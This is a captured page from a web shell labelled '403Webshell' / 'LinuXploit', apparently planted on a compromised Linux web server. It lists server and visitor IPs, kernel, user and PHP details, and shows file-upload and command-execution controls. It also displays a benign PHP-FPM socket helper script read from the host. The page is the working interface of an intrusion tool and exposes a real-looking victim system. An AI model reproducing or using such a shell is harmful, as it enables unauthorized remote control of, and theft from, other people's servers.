403Webshell
Server IP : 217.160.0.223  /  Your IP : 216.73.217.21
Web Server : Apache
System : Linux www 6.18.38-i1-ampere+ #1089 SMP Tue Jul 7 14:54:42 CEST 2026 aarch64
User : sws1073902667 ( 1073902667)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/php/php-fpm-socket-helper
#!/bin/sh

DEFAULT_SOCKET="${2}"
POOL_FILE="${3}"
PRIORITY="${4}"

[ -r "${POOL_FILE}" ] || exit 0

SOCKET=$(sed -n 's/^listen[[:space:]]*=[[:space:]]*\([^[:space:]]*\)/\1/p' "${POOL_FILE}")

[ -S "${SOCKET}" ] || exit 0

case "$1" in
    start|install)
	/usr/bin/update-alternatives --quiet --install "${DEFAULT_SOCKET}" php-fpm.sock "${SOCKET}" "${PRIORITY}" 2>/dev/null
	;;
    stop|remove)
	/usr/bin/update-alternatives --quiet --remove php-fpm.sock "${SOCKET}" 2>/dev/null
	;;
    *)
	exit 1
	;;
esac

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit